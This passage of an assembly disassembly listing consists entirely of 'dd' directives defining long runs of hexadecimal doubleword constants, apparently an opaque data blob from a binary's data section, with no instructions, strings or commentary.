		dd 0DCEC72h, 7D451643h,	0DEF09AABh, 0F2518500h,	3F4CF142h
		dd 0C5D20FBCh, 6D40060Eh, 5E9F957Eh, 380C0400h,	13886146h
		dd 0AB253FA2h, 7DB4E987h, 90781027h, 3D07A64Dh,	1113C5F8h
		dd 0F4E16540h, 9B1000F9h, 0E09D4914h, 0D2FC6E78h, 97BCC600h
		dd 0F8B00DFBh, 0CC892E6Ah, 5DE200D2h, 0F393C43Dh, 7B004770h
		dd 2958577Dh, 0ECBCB8ECh, 5A6C04ACh, 80E1248Bh,	3ED620B2h
		dd 0E41E1D03h, 0C0918A62h, 0F58214h, 0C7C30D52h, 965CED8Ch
		dd 32F76800h, 64C6E3E5h, 3A6B8A8h, 2EB4C2BFh, 94B92CCAh
		dd 3000E311h, 5D36C032h, 9F714C9h, 0A88B5B75h, 0D37B4500h
		dd 4500C2D2h, 0AF6D2D13h, 78AE10ADh, 73EF00DAh,	0A6769409h
		dd 0FA0051F2h, 311A423Fh, 89EB30h, 0D4C4DB27h, 0C5F6BD97h
		dd 2E04C300h, 2A398F61h, 5C7603FCh, 0F51D0573h,	609BADE8h
		dd 5A72E100h, 3BD72691h, 0E593C20h, 9705413Bh, 0E2A30D5h
		dd 0DFC05284h, 0EB75D69Fh, 12887900h, 8D68E01Eh, 0FCC61D46h
		dd 2726E0Ah, 4EA0A29Ch,	3B3DA640h, 73EA3A00h, 1752679Fh
		dd 0BCDD3C12h, 5FFF2600h, 5A93BEA4h, 553E5103h,	0E2AD0C54h
		dd 0FE3BE0B9h, 0E49400BDh, 0DE9BF180h, 7F0083E6h, 2523F858h
		dd 855FCh, 5CB6AADCh, 852F24C9h, 9CC14003h, 80EFE651h
		dd 70D327h, 77E3D043h, 28F86436h, 3503CF00h, 7CC2C1F4h
		dd 4BCC0088h, 9A493243h, 0A60013E5h, 0F4F1D551h, 315E762h
		dd 0B2B53827h, 40C0A492h, 4103DED9h, 63F13A2Eh,	0CFC4E08Fh
		dd 2C8B006Ah, 5F6B8982h, 9D00CDAEh, 862FA230h, 2448E0h
		dd 9F47968Ah, 0ACFFDC3h, 9693B03Fh, 1000E31Ch, 9BC9D06Dh
		dd 0AF8B00EBh, 24FF8506h, 0AC3CD721h, 4409009Fh, 0C0B1417Fh
		dd 3305002Eh, 0F874D2ECh, 65077899h, 0A29A98Ah,	308C4F20h
		dd 0C5EB2C88h, 2C37072Bh, 113E20D7h, 14E0F131h,	0A7B66E00h
		dd 36EE8A7Ah, 81EF00F3h, 0D3073DCAh, 0CF00872Bh, 42255EEAh
		dd 30A010Ch, 0CA5632A3h, 6AC07BEDh, 3D241EF3h, 5C0FD985h
		dd 62F1E72Ah, 81FF6D50h, 9A4D0006h, 0B8D221A1h,	9E0F38DBh
		dd 0E7CCE775h, 1931077Dh, 2C20FD66h, 6D37C6Fh, 0A520B0F4h
		dd 24F88014h, 6641BF04h, 0C4903EC6h, 3BCD79B6h,	6D0F2781h
		dd 7A4E367Bh, 0A1A65781h, 80398606h, 0F03027DCh, 0F4C40CA2h
		dd 0B008BD77h, 60CD7838h, 1F064228h, 0FF96008Dh, 8B5CE5D1h
		dd 81004B7Bh, 6637F1DFh, 146FB8C4h, 28E78301h, 0F4ACBC06h
		dd 6873A9B6h, 0E1986454h, 4A907866h, 9B740058h,	21D81ADFh
		dd 0DD00B0FFh, 1D3D8C19h, 0E4794A4h, 0F17B7C07h, 411B8BE6h
		dd 279E8205h, 8BC0AF4Ch, 1FF754h, 3EC758ECh, 0C84AB05Dh
		dd 5AE4AA00h, 7117BC85h, 0BA6C0084h, 0BF260D93h, 9E5C8B3Bh
		dd 0D53CBFh, 29F269DEh,	1AFD35h, 6FE761F4h, 3CCD6B10h
		dd 0AB8FF800h, 29E0C83Bh, 0A027006Eh, 740149A3h, 6200375Ah
		dd 1E38ED26h, 0FFA8A94h, 80CD1DCAh, 0B580320Eh,	86227E23h
		dd 0E3563D28h, 65A25915h, 30DEEC04h, 66105B55h,	50745F0h
		dd 0E9335F88h, 68B77C90h
		dd 0AE00F60h, 3180FC57h, 0BE3B34B8h, 9AF87AF8h,	60E69100h
		dd 8F1B132Fh, 5964604Ah, 94285E82h, 2B500362h, 46DE1090h
		dd 29C020E6h, 82C96DD0h, 0E4FB0052h, 5D8D9D3Eh,	0EB0037BCh
		dd 14383D7Eh, 0FE646E0Bh, 0F9E962DFh, 0DE2163DAh, 0C8005ABFh
		dd 0A420491Bh, 0D95B17FCh, 799000E4h, 1798B347h, 410070A6h
		dd 0E268B650h, 1DE75771h, 0C07BD6D0h, 0B8304620h, 0E8C03C6Eh
		dd 0E1CEA160h, 2B5E011Ch, 3D49E0CBh, 0B1341367h, 4C58BD43h
		dd 0C85500E4h, 5AFB65C2h, 0FF41E7BFh, 29164AE0h, 12946249h
		dd 0B7360C24h, 7D18BBA9h, 4238BA14h, 4A8A854h, 63892935h
		dd 770421F8h, 0B38D0641h, 0F5C1D040h, 90FAh, 35752925h
		dd 3F2E5B2Bh, 6A06F4A0h, 170C99B0h, 2905C4C3h, 0AA228445h
		dd 11764249h, 5121DC41h, 9042E508h, 0F2BF8462h,	440FCD44h
		dd 2E442767h, 80570E43h, 0A14F7E24h, 0F195038Ch, 89D8CC02h
		dd 0D5C0D6D2h, 0A8003688h, 6741E7F2h, 19133C4h,	985E5CB1h
		dd 0F86BF955h, 0B0016F7h, 6F7C44D2h, 0DE3081h, 5EA3FD77h
		dd 2A8480B1h, 83E5C900h, 2651B429h, 88F0740h, 10FB68C6h
		dd 2CAC614Ch, 0CCAF8C00h, 4083E790h, 18EE00FFh,	29E989A2h
		dd 83C5981h, 3AE001Bh, 0DA57A4CEh, 781712C6h, 58C84099h
		dd 559FA20h, 0EC747B04h, 0BB800BA4h, 0E07F40h, 77583C79h
		dd 5675B9DBh, 0A2732900h, 3717A39Ah, 0D6CC307Bh, 0B57E2060h
		dd 0DE510700h, 54F36795h, 338A0002h, 0E0C0659Ch, 8400A161h
		dd 0E109C7F8h, 7A10C1h,	0F58C5290h, 993F38C3h, 0C5729A01h
		dd 7978D92Eh, 0E0F000FBh, 0D87C2BFh, 8E4DCF3Fh,	1D33E1Ch
		dd 1C39FB47h, 0A4705168h, 33D4E5A5h, 0A82700F5h, 37BFD4B7h
		dd 5E006FC2h, 431EA34Ch, 255A78h, 1BA853BBh, 790BB738h
		dd 0E3946200h, 7A08B4B6h, 50AA0084h, 0ECC9FC9h,	633D0986h
		dd 0DE1101F0h, 37A86DB2h, 81FAE4h, 0C9074F7Dh, 0EC2745D2h
		dd 0F4936501h, 0A115A217h, 23BAF0h, 1A092694h, 881E0D59h
		dd 0EC1CC576h, 0A5008174h, 0BC8F19F2h, 0B65B0041h, 604290A1h
		dd 0B9046F57h, 0CA269301h, 37A62F80h, 3E89243Dh, 6CE10098h
		dd 8DF97ADEh, 12995817h, 3F94E201h, 5EC434E3h, 0CD8E00DCh
		dd 0EB81721Ah, 2A001209h, 0C87EA52h, 3638F57h, 0B0B539C8h
		dd 0E6804325h, 36000EA7h, 0B7C7C068h, 0A6BF53h,	64057354h
		dd 63297C43h, 1EB9CB39h, 3F00A9E7h, 0C652FF58h,	0CA7E0BF7h
		dd 5980B357h, 6D32569h,	76DA1503h, 90B9D92Dh, 975BC8h
		dd 0F136E432h, 57D401Bh, 94275F00h, 0E3396872h,	0BE1D38B1h
		dd 40874E13h, 0FA5B63D4h, 9D493150h, 53017784h,	0A42843ECh
		dd 8D40767Bh, 7A6589h, 5827595Bh, 0ABB42298h, 7E034F03h
		dd 889DF164h, 783DACC4h, 0B9F30672h, 28BDCF0Ch,	0DFCB2C00h
		dd 995D4754h, 0AAFF006Fh, 5C42A295h, 4600D782h,	50A916D3h
		dd 56DA18h, 617AD4EDh, 0DC24474Eh, 9C1278F0h, 0DF02EEFDh
		dd 40BDC239h, 0EC18888h, 0B2C7F6A1h, 1E378183h,	0F9DE00AFh
		dd 24006C58h, 557D5E94h, 0E956F8h, 978D66A6h, 0DAF6A738h
		dd 0C815323Fh, 0B1EA0714h, 568009B6h, 0B7ED6ACh, 601675D7h
		dd 0B90FBF80h, 29034AA5h, 49BA892Ah, 8CC80E9h, 0B2E4247Dh
		dd 0A5798018h, 0C89171F1h, 18115030h, 0FAD7AFA8h, 0FD4C072Dh
		dd 0C0E76613h, 61D2F889h, 5A820800h, 0BF444F03h, 0A02C0027h
		dd 1DB74D20h, 0AD07985Bh, 30360F4Ch, 1881FE64h,	0E670A33Ah
		dd 43E6C4h, 7559A001h, 0C6DFA6FDh, 2C1AC900h, 8AF0F5ECh
		dd 0AFCD007Dh, 744F9465h, 187FC550h, 6BD8B20Eh,	60A8EF93h
		dd 61D74E6Ch, 28CF071Dh, 5618C4B4h, 6807B0BAh, 0A3F5E046h
		dd 0D9E09CB7h, 0C67398h, 5B7B953Dh, 48A52720h, 8084893Ch
		dd 0C9B37A01h, 0C6CC30h, 0A9BF11E1h, 70BC5394h,	80F65538h
		dd 0E376B138h, 0D0364Eh, 645E3C1Ch, 0F2D8C320h,	173AA300h
		dd 8F9F89E2h, 0B50F005Ch, 59D9DC40h, 120004D2h,	0DD4F927Fh
		dd 7E4091Dh, 0E5BD4271h, 0AD48507Bh, 4D00020Eh,	8EAAB7A6h
		dd 0A6231h, 74CB87Ch, 70F7E1E0h, 0A1B91B13h, 0EEAD6600h
		dd 3385042h, 5679A74h, 2D9B5487h, 0B66369BAh, 90004DEBh
		dd 481A59ACh, 0EE1FCD12h, 88DF0099h, 69ED1378h,	8D004F89h
		dd 1F17ECEh, 0A66634h, 0A8CD6DC7h, 0A331642h, 0B6308C00h
		dd 0FD867954h, 32BF00DBh, 0EC66D51h, 140095C4h,	0C3BDC0DAh
		dd 0A85F7Eh, 0F45B9383h, 962DF6EEh, 9454E700h, 0AE8E1CA0h
		dd 67B7023Ch, 0F20B5069h, 0D053D461h, 9B1F9A8Fh, 0A7C02B86h
		dd 0FAD1CA23h, 0FF8400DAh, 492A70E3h, 0EF0E8A7Eh, 0A039CD0Fh
		dd 2756AC6Bh, 4BFC53h, 10126AE3h, 0CDB6747Ch, 0DA8E8B1Dh
		dd 7E820079h, 5B2F0C29h, 109880h, 0EF2A83C8h, 0E669F1FEh
		dd 0F4A77F07h, 4667FBA3h, 0F09232B0h, 0F755007Bh, 6608090Bh
		dd 0D460228Fh, 95F16CE0h, 0B0160094h, 0FA03FA2h, 0F21CE22Bh
		dd 0B2015438h, 9EE95F59h, 3D1C2C28h, 0B9418FD6h, 0E7DC9C40h
		dd 7C261482h, 4840CCFBh, 98E193EBh, 0A4440041h,	0B78E1ED5h
		dd 0F200B01Bh, 542F2940h, 96E81FCh, 0AE9A5DE8h,	720C48Fh
		dd 66D2288Ah, 0F0240C3Eh, 80F16D3Ch, 4ED8919Fh,	0F2267E01h
		dd 0C7750039h, 0E758B996h, 0BF0ED73Eh, 43CCA0D1h, 88C15D70h
		dd 72531F08h, 0BBE90082h, 30956D3Eh, 0A000D787h, 0C41EB356h
		dd 6138ABAAh, 4B8A109Eh, 723CFCF2h, 0B63F020Bh,	20BC2F0Bh
		dd 48BE0AA5h, 0CF1C0074h, 2218AA25h, 0BAFE4C58h, 0B556C51Fh
		dd 8FD87140h, 137C5D6Dh, 40DBEB07h, 773078CCh, 7D1E821Ah
		dd 0EE1D6F2Bh, 96C933DCh, 0FA084069h, 0D9C31EFFh, 0BDE035Bh
		dd 0F4F0943Eh, 0B0003321h, 2A1970F0h, 7E26F213h, 0B8233CA8h
		dd 787CEC58h, 0C691018Eh, 0D744642h, 632CD857h,	25EEC07h
		dd 0D8000CD4h, 0DD71ACh, 0C3756A49h, 7658B362h,	24514D01h
		dd 29ED1CFAh, 6A0DD8h, 0CE91183Eh, 0CC329487h, 3F202360h
		dd 516466Ch, 5FEAE66Eh,	0CEF080E1h, 0CAEE2A96h,	89142E3Eh
		dd 0A0A195h, 0E0FF603Ah, 757104B6h, 90284CEEh, 1278DD20h
		dd 898617Bh, 220087F2h,	0B09B97F7h, 0BA38B8h, 81B34B67h
		dd 4407A4BDh, 6F7EB400h, 0D2937F57h, 8F090060h,	49E10134h
		dd 7A24FC08h, 462820A8h, 920AA49h, 2033B0D5h, 1D8BB790h
		dd 112F0081h, 359AFEC1h, 8760F308h, 0AF5FDB21h,	7EB2F2D3h
		dd 1DD7022Bh, 0F8EA3D9h, 4BF76CC0h, 3CB31007h, 533054AEh
		dd 0B614C74h, 0B613F86Fh, 0B245DC00h, 9BEA8E96h, 18E5FC05h
		dd 0F287DC8Ch, 0ADA646F0h, 7B250538h, 0B55EA3h,	217FBF90h
		dd 800E7CCh, 0E4F269C5h, 1240767h, 84E8D52Fh, 0E5DE3091h
		dd 9050D24Ch, 0B400C34Ah, 76F789E3h, 12BE0E5Bh,	0D9CE8651h
		dd 0DB08CACBh, 7C4C89B4h, 43DF14B8h, 0BDCDD700h, 4C62C4E0h
		dd 8A2000E6h, 0C9E27E5Eh, 0DE759426h, 0D0B87000h, 60827B6Bh
		dd 8038014Dh, 3428E62Ch, 0E8FE31EDh, 75E4EB08h,	0B333BA0Eh
		dd 1FAF62Eh, 23D8389Bh,	6E44F414h, 18573E03h, 88647640h
		dd 0B05BEA92h, 0F4FE10h, 0AD511A2h, 0E4495FD0h,	8081C83Fh
		dd 0C065BF54h, 1EB7F9h,	8DEB765Eh, 0F7E3503Fh, 0B8B31F0Fh
		dd 0AF3780DAh, 1F5C4F9h, 6BC28ABDh, 80B6BBE5h, 750CD698h
		dd 0DB86B2h, 0B015A96Ah, 4C571154h, 7ACFFA00h, 97E56904h
		dd 0C1261C65h, 98DDC927h, 1CFEF580h, 0B914C6E7h, 6E79E2Bh
		dd 7C855B5Ch, 95250F02h
		dd 0B840BDBEh, 0AC2B1C31h, 4344D900h, 5FFD1E0Fh, 346B00CCh
		dd 5410C492h, 2A1D6EC9h, 0D7001D87h, 58337925h,	0CC3700D6h
		dd 0C540C344h, 0CAF8239Fh, 4EA16200h, 0E98861EDh, 2F710015h
		dd 0DC2DFE28h, 0C31247DBh, 0C200FDBEh, 97484541h, 96A00226h
		dd 0EDEE624h, 6F118840h, 77BD058h, 6EBFDF1Eh, 4A506AB7h
		dd 88045Bh, 2F8E81ABh, 86FD14B1h, 8C891800h, 16849996h
		dd 30F50013h, 0BEAA49C1h, 8E0042B0h, 0F81BD519h, 0F8FE3C45h
		dd 0E1410240h, 3F717932h, 0EC15A0C1h, 47722B10h, 5D11800Eh
		dd 90EC00F9h, 3FBB69h, 16D4ADCBh, 754DBE89h, 53F6A100h
		dd 0D731FBB1h, 44FCFCh,	5878A04h, 0C7B8820Dh, 673F4C00h
		dd 0C35BACE8h, 0D7183B1Eh, 129F250h, 0A2C52FDDh, 609BD051h
		dd 163BF2F3h, 0EA017980h, 294743D6h, 90FC5924h,	2C7FF6BBh
		dd 0AE84F0h, 812689ECh,	502462B7h, 6600E488h, 5E94DFFEh
		dd 3FF83D78h, 0C2313873h, 0CFF59880h, 0BC38D6CCh, 960D8501h
		dd 7744501Ah, 42D81C4h,	0CEB7AF3Dh, 0C09BB075h,	4AC22B00h
		dd 355D9AA8h, 0A62700E0h, 9BA77806h, 803CEBF5h,	0D07C7DB9h
		dd 620F9307h, 2CD08F72h, 2032D5h, 9CCC1CB6h, 7CACD2AEh
		dd 0C4148E06h, 28BDA8h,	0E181BF3Fh, 98467504h, 0F087A900h
		dd 28399E52h, 4DC500B9h, 0CA8E069Ah, 1F3D676Bh,	17F0FF60h
		dd 14BD8A00h, 0BE72E0Dh, 7B130042h, 840403CEh, 0B57E3DFCh
		dd 43F82100h, 0F08834AFh, 0D2EA28DDh, 186A038Dh, 0FAD93FF4h
		dd 0D44CBAD1h, 0C2000684h, 8B2831C0h, 14DAA7h, 9D096803h
		dd 0EE6C8090h, 9F0E6000h, 51444353h, 0D0D2006Bh, 0CFBBA755h
		dd 6002584h, 0C512C89Ah, 0E657EAF8h, 765D0005h,	5FCE9B90h
		dd 0AF0741C7h, 0C270406Ah, 0E8C8C571h, 146664C8h, 91B5CAB6h
		dd 19406075h, 81B0DF9Fh, 0FF3F9379h, 0CE24009Dh, 0A99E6B70h
		dd 3C7929h, 6FBD1EAAh, 0A7D031F9h, 0D3BF9F00h, 0C737A0DAh
		dd 95BB0071h, 7252CCB5h, 0FB7C5348h, 0A3C8A807h, 64204222h
		dd 0EEC41D2h, 59B3142Dh, 73B716E0h, 13542C36h, 8C00529Ch
		dd 0F1FAC353h, 0F2E3CF42h, 92A0060h, 0C40EB694h, 7400DFF3h
		dd 13AA59Fh, 1E4CA9A6h,	0CC1B2D9Ch, 338658BDh, 125C1300h
		dd 4D3ECE85h, 0DA7C82h,	3A9C799Dh, 57BAD36Ah, 0FB4CE572h
		dd 0E7CB0090h, 1EA86D4h, 72B10089h, 24388DC7h, 63016171h
		dd 0D8485747h, 0B6FC1CBBh, 0CF080011h, 2462B3CDh, 0E0EE41DCh
		dd 2453200h, 69A17836h,	64633FDFh, 7EC8E58Eh, 13526CE1h
		dd 0EE3C20A6h, 60D90C0Ch, 192896h, 0E3113F8Ch, 789A67B7h
		dd 8E005EF6h, 0C72B07C1h, 8C2726h, 61DD0CD5h, 89052285h
		dd 466B660Fh, 589D0F67h, 98D246h, 0CD2A9240h, 7D51701Eh
		dd 0EF487E03h, 0E003BD29h, 42E452h, 6C46C3A7h, 804554F0h
		dd 0F967B201h, 0B42D70B8h, 83E42AC5h, 333B031Fh, 39506604h
		dd 5987FFE7h, 0B1165169h, 0F034CC86h, 0EC800C02h, 4030516Eh
		dd 8956CBh, 0A4951029h,	3FD8D99Dh, 0F635B700h, 6C1457DDh
		dd 0A06E007Bh, 4D0D2D29h, 361E03A7h, 129F591Dh,	0EB3ADB83h
		dd 90D6E047h, 8F9E00D1h, 0C93DE2CBh, 0A000F315h, 0A47330EEh
		dd 0C82DD4h, 0E2F07143h, 778F76AAh, 96541200h, 0E0E326D2h
		dd 3947002Dh, 871F217Ch, 600017DEh, 0EF6FF28Ch,	0E674D932h
		dd 7F410006h, 89DFE23Ah, 1B093028h, 0ADE8BDh, 0A6938D9h
		dd 443500EFh, 0E2D236B2h, 76009780h, 838BFCDFh,	8F5248h
		dd 0B3A04ACDh, 3D5EB48Eh, 0BC229938h, 7D00F6C0h, 7545FA49h
		dd 4F4696h, 1B76A429h, 0A6FD206Dh, 1D627F00h, 86BF182Fh
		dd 0DEF301A9h, 6F1FC64Bh, 0C25DE0B4h, 22233803h, 8853D229h
		dd 0DBA186h, 47546E27h,	0B69344A3h, 9501CF7Ch, 0DA56159Ah
		dd 0C6E48DE3h, 0FD38005Fh, 526E67A1h, 2009110h,	78AF69F3h
		dd 7604085Dh, 4EDE01D6h, 0B733858Fh, 25A89FF6h,	438C2D40h
		dd 70FE8439h, 0A100087h, 0F351B71Dh, 0FD00A94Dh, 11482CF7h
		dd 15F13Eh, 0BEEE14BFh,	5DCE75D8h, 0AD537B00h, 8EB49BFCh
		dd 0A13B009Eh, 15C3F52h, 121EDF32h, 88F04A20h, 731838Dh
		dd 0DB1E8E57h, 5C9093C6h, 5E1687E0h, 0DC0EC1E6h, 83117D78h
		dd 786FDB54h, 197C20h, 72C1A999h, 0E59D585Bh, 9E1E412h
		dd 394F8300h, 0DC2EFFh,	6351C384h, 0F3B283D1h, 9CFB291Fh
		dd 31D38F80h, 281C8E59h, 143CC8DBh, 9051BC85h, 30DF6378h
		dd 801D024h, 8682B237h,	218E5ED2h, 3A0A2DBh, 1561DC26h
		dd 0DF93EC00h, 1FA4D306h, 70F4E4h, 2361614h, 0A7C48907h
		dd 5537C603h, 0C0FE9D1Bh, 134BE1FCh, 0C00B25h, 0C332EC4Ah
		dd 302C561h, 0EAF1B322h, 0DCD8A07Ah, 0DE494296h, 580429A9h
		dd 5F60CAEDh, 0FC8B8910h, 13315C2Fh, 220FCB00h,	61F36A23h
		dd 0CC06A800h, 90A12DFAh, 0AE333D73h, 1090196h,	598F5663h
		dd 0BBEBEC23h, 0D8BDFC00h, 4CB569D5h, 370300B9h, 368379D3h
		dd 763D86C6h, 0C1888378h, 0A8D11EBFh, 715335Bh,	39BE1314h
		dd 0C732A0FEh, 5F006CF8h, 7EEB2201h, 291D83h, 0E171667Ch
		dd 0B53E4926h, 57B07F00h, 0C24609D2h, 0E34200B2h, 0C7522C0Eh
		dd 0BB00BD1Dh, 90FB2A0Dh, 0D0C046h, 3CD3EC60h, 9CF8583Dh
		dd 0A61272F4h, 971C2F99h, 0C025818Eh, 0F66071Eh, 9D8A00C5h
		dd 7E43A7A2h, 480038C1h, 0A91EF301h, 6BF062h, 0F7470BA6h
		dd 0DF316F80h, 85D45B00h, 0A0DBD396h, 74150FC5h, 0FAC71C63h
		dd 1A57E0C2h, 0D115B498h, 0C4A33Ah, 0B5015091h,	2FB951h
		dd 5DED3E0h, 0A1575E68h, 0B1910E0Ch, 109581Ah, 76B3C3B0h
		dd 69E8C9h, 0F6FDE6Eh, 2329724Ch, 0AB1EA340h, 9E09E37Fh
		dd 806166BAh, 593FB30Bh, 416202BFh, 59D1381h, 0AF40048h
		dd 6E3A0B00h, 0D3311F9Fh, 0FBF5282Ah, 9C1500ECh, 0BC34DF14h
		dd 7AFC8132h, 380BC000h, 87FF6E7Eh, 0DD14004Bh,	89925A7Bh
		dd 800A881h, 0E4E6736Dh, 723C13E0h, 1B7837B1h, 0C76820C0h
		dd 4009187Eh, 20BD1FF3h, 9E0E5300h, 0DF2C16A5h,	0CB0A074Dh
		dd 15D560DAh, 0C9002D33h, 36717453h, 8B66FEh, 0A70B58A3h
		dd 0C1573CECh, 8DE8F500h, 4FBFDFA5h, 0CADA02F7h, 0E98209Ch
		dd 1BABBA63h, 94BF102h,	0E294486Dh, 40A00E83h, 0BB0D0714h
		dd 0AA3A00D9h, 0F9FDAEA3h, 0CE3B8BE0h, 0FB38B4h, 8FD8A833h
		dd 87F6A7h, 70D2F964h, 912C1603h, 3EEE5E00h, 14AEC272h
		dd 33AFC15h, 0F27DF9EDh, 0AAA8A385h, 4700BE8Fh,	78F6C288h
		dd 5C8915Fh, 3944CE18h,	0CDD802CFh, 0CC400773h,	0F509FC79h
		dd 0DD3C0Ah, 0CB80AD82h, 0AC241EB2h, 0A740C06Bh, 93F43D74h
		dd 730EC6E2h, 9D954FB5h, 0C4000296h, 0F78008BFh, 9CF0003Fh
		dd 0CA8A229Dh, 0EB00600Ah, 688F6E92h, 0BC747C3h, 0D3D0E5E9h
		dd 0DFD48780h, 0E4285E46h, 0A975A854h, 4EB39CA8h, 83D0F43Dh
		dd 0C770CDF0h, 0BC68C802h, 0E86400E5h, 4D7D4A1Fh, 97F02D3Bh
		dd 94A0F1F8h, 300098FEh, 73C09046h, 48DDEAh, 0F0B59CADh
		dd 28B796DEh, 0C681D300h, 2F85FC44h, 0D1A00C2h,	0C4B10372h
		dd 4300E5D4h, 0D030CA86h, 12A52842h, 0FEFFF93h,	0C5C154CDh
		dd 0E026D40Bh, 2F0784B6h, 0ADC1C30Fh, 139F53E0h, 5F331FABh
		dd 0A2E3036Dh, 4803F2A5h, 4EFE0F3h, 1D48E3B2h, 0C5A02034h
		dd 807622E2h, 0A132ABBBh, 440DC100h, 31E028B0h,	68840011h
		dd 5A76EF1h, 4B3B2BC4h,	23A180BCh, 9743465Eh, 36BA0045h
		dd 294A48F7h, 6E003F31h
		dd 5A7EDC5Dh, 5CC84Eh, 2841C650h, 0F1DF1623h, 0EADD8200h
		dd 0E4845961h, 90BF00F4h, 6CC66217h, 4B24098Ch,	0B603B078h
		dd 80144F3Fh, 0B5B9EFEh, 0C4FD3420h, 6F578580h,	11C05AA7h
		dd 6B6522DEh, 9EE0A806h, 0C1B60E3Fh, 69A4E541h,	3428D0D8h
		dd 0E00AFAC9h, 8C50E192h, 89959300h, 3A0949h, 0B37D69D7h
		dd 9856DDC9h, 0F2EBE707h, 5C10B446h, 2BDFE8h, 8EE7A58h
		dd 0F83C23A0h, 0E6875900h, 9226F901h, 49EA009Bh, 6FB83BB0h
		dd 0FC901EC8h, 0B1DCE00Ch, 4D80C8C3h, 98004437h, 2F7F0D3Fh
		dd 3800ED21h, 0A27699B6h, 259E87Ch, 56F6B149h, 840C769h
		dd 8876386Ah, 33C28700h, 5B7436A2h, 0FEB003A9h,	61378B2Bh
		dd 6DF32050h, 0CCF53203h, 2E24641Ch, 3E44718h, 3FC692D7h
		dd 0E541000h, 0CD242B6Ch, 1AF7585h, 920A7376h, 305AFA52h
		dd 75004AD4h, 0B9670DB4h, 468854h, 80103245h, 99774809h
		dd 6DEA8A00h, 49B4C706h, 7D7C3B6Eh, 10D4780h, 1A2E3807h
		dd 0FE44C00h, 45A71395h, 974D1259h, 0BC120094h,	71D0DACDh
		dd 0E4F9938h, 0E02622B0h, 0E5C72791h, 0B7D73B72h, 3A4ED800h
		dd 76074BACh, 0A8EF8500h, 0FD0E4115h, 518A03B9h, 81DD66D0h
		dd 8BAC4388h, 0FBB5A100h, 0A9768065h, 0D6A00110h, 0F66706F7h
		dd 0E820CDDBh, 2600C5B9h, 0F9F293B6h, 4A543Bh, 0F0FBCF3Fh
		dd 96EAAA55h, 44003AF2h, 5649A128h, 1F666A15h, 367DC9h
		dd 0DF7C2168h, 69045E4Fh, 0F93F2E34h, 38483C80h, 0FAEB005Bh
		dd 43132DE2h, 0C8005020h, 5D6B2CF3h, 7ED78CADh,	2FA03ED2h
		dd 51DAE082h, 834113FFh, 4E1980C9h, 0A82C8C7Eh,	0FEE1009Dh
		dd 6BCCBC35h, 7031ADEh,	4CF28AD8h, 0AFA600D7h, 0C7038155h
		dd 2FF0DC0Ah, 0CD626805h, 44C036F1h, 920284h, 3039FED7h
		dd 1DB6E7F4h, 0C078BA6Fh, 0A6370753h, 32CC0059h, 33BC694Ch
		dd 5E00BBDCh, 510F1318h, 9794F2h, 0CD77911Dh, 0BA428A45h
		dd 0AE389301h, 4818EB9Fh, 2336E8h, 0FE4B67B6h, 7E094357h
		dd 0F444E524h, 7104F91Eh, 8090F0A0h, 77F76350h,	9F8D00E1h
		dd 3D57FCAAh, 77030919h, 0D7E2E875h, 36C88030h,	0A99D0249h
		dd 87C6D2A0h, 676949E0h, 4B955724h, 26D3AD00h, 5542120h
		dd 7781143Bh, 358204DAh, 0B508C030h, 75F0290Bh,	0FB11C260h
		dd 4AB23928h, 0DD7031A8h, 37C29A0h, 2431DB8Bh, 7008018Eh
		dd 4C63DC3Eh, 58BE402Ah, 0E2021306h, 1A7FE4A4h,	0A0A2809Fh
		dd 3E5F1C46h, 0ED4C2277h, 0FD0B9A00h, 5B0C97E9h, 0BFB77A0Fh
		dd 5380610h, 0BDC4000Ch, 1FEF163Ah, 88E4504Ch, 0C96370C3h
		dd 0C07CB083h, 0B0DA6042h, 98A36BDh, 0FF009FECh, 0A5349485h
		dd 205EE6F1h, 1C94884Bh, 8451BE58h, 3019AF3Ah, 0E8D26164h
		dd 1C5F288h, 27AE7B08h,	0EC609CD4h, 873D0A13h, 0D7E50011h
		dd 5D37F79Bh, 28AC4C55h, 0FE9AA100h, 38B433F8h,	0BC2FD307h
		dd 9E50F349h, 4CDC652Ch, 36009970h, 0E6D44FBBh,	7100F49Bh
		dd 7D03A13Dh, 36FA66Ah,	35CA2A61h, 18A039C4h, 0A7007876h
		dd 8DB70114h, 15F7BDAh,	37D086D5h, 0F0F50A07h, 837C0B2Ch
		dd 4005261Fh, 0D840E2D6h, 62C73DE8h, 0DC490C7Dh, 19096550h
		dd 354821C2h, 85ECC0C7h, 700302A6h, 0FCD5878Eh,	0D8000C58h
		dd 48AB8DCAh, 3FBAC902h, 0FF03D44Eh, 0C17E08F3h, 527728DEh
		dd 54D0344Ch, 50003C18h, 3BB22FC0h, 0CCDA7C29h,	9C212609h
		dd 0DDC0570Fh, 0E221E061h, 0F0F38388h, 89C70D68h, 29D8167Ch
		dd 5D6A0350h, 92ED59h, 0A3667011h, 0DC56F561h, 9EFD090Eh
		dd 636489DBh, 0A28EC880h, 8AF30FB9h, 0AE2765D6h, 0C50500E0h
		dd 8009CA78h, 266E025Ch, 16907B1h, 4C182524h, 70313B8Eh
		dd 8CC4342h, 1C4521FDh,	8164182Dh, 0F93E8D24h, 90718015h
		dd 8E06F643h, 0AF193A6Ch, 570CF8Ah, 602D44C8h, 2363C73Ah
		dd 0E411317Dh, 0C7362500h, 14A67F4Eh, 0F1412E00h, 0E37B2331h
		dd 70CE3BE2h, 180B2C50h, 10FB78CFh, 0EA00C57Bh,	4E3279EEh
		dd 0FD23113h, 2864AA8Dh, 7FC23900h, 0E01BE20h, 2E91F9B9h
		dd 5CE8C88Eh, 0EECD1E90h, 5BD341BAh, 70557CF1h,	620032F0h
		dd 83035220h, 906F4871h, 954F007Ah, 57292CF6h, 1401D10Fh
		dd 0A0F4403Fh, 2BDC3313h, 0FF6D0E19h, 801D0652h, 44F8EAC8h
		dd 0AE0C6BC2h, 48741D2Ah, 20460099h, 895A141Ch,	0D007FA2h
		dd 4DDF3F3Bh, 60FAC113h, 2B7471F3h, 5F002566h, 0A377E7B1h
		dd 37E9ACh, 1A01A2D3h, 84DFA465h, 0D50ABF00h, 2F33664Eh
		dd 9C9A0079h, 0F2E371C0h, 0A528CD70h, 3E1ECA5Dh, 75004C9Dh
		dd 45366206h, 0E68A70CEh, 51E53D0Bh, 182BF68Eh,	0BE62D4E0h
		dd 0CF0EDCEEh, 1B9ECC7h, 0E7246D6Fh, 0EAAE9881h, 8322CAB8h
		dd 819D0B38h, 61A97B30h, 56A03073h, 0EB208017h,	7C9DF9B5h
		dd 0D00C1DACh, 573C0082h, 26199F69h, 56D2C8C0h,	3534C05h
		dd 0E77F38BFh, 57A06855h, 31008EBDh, 3ED2C594h,	0CCEDC09Bh
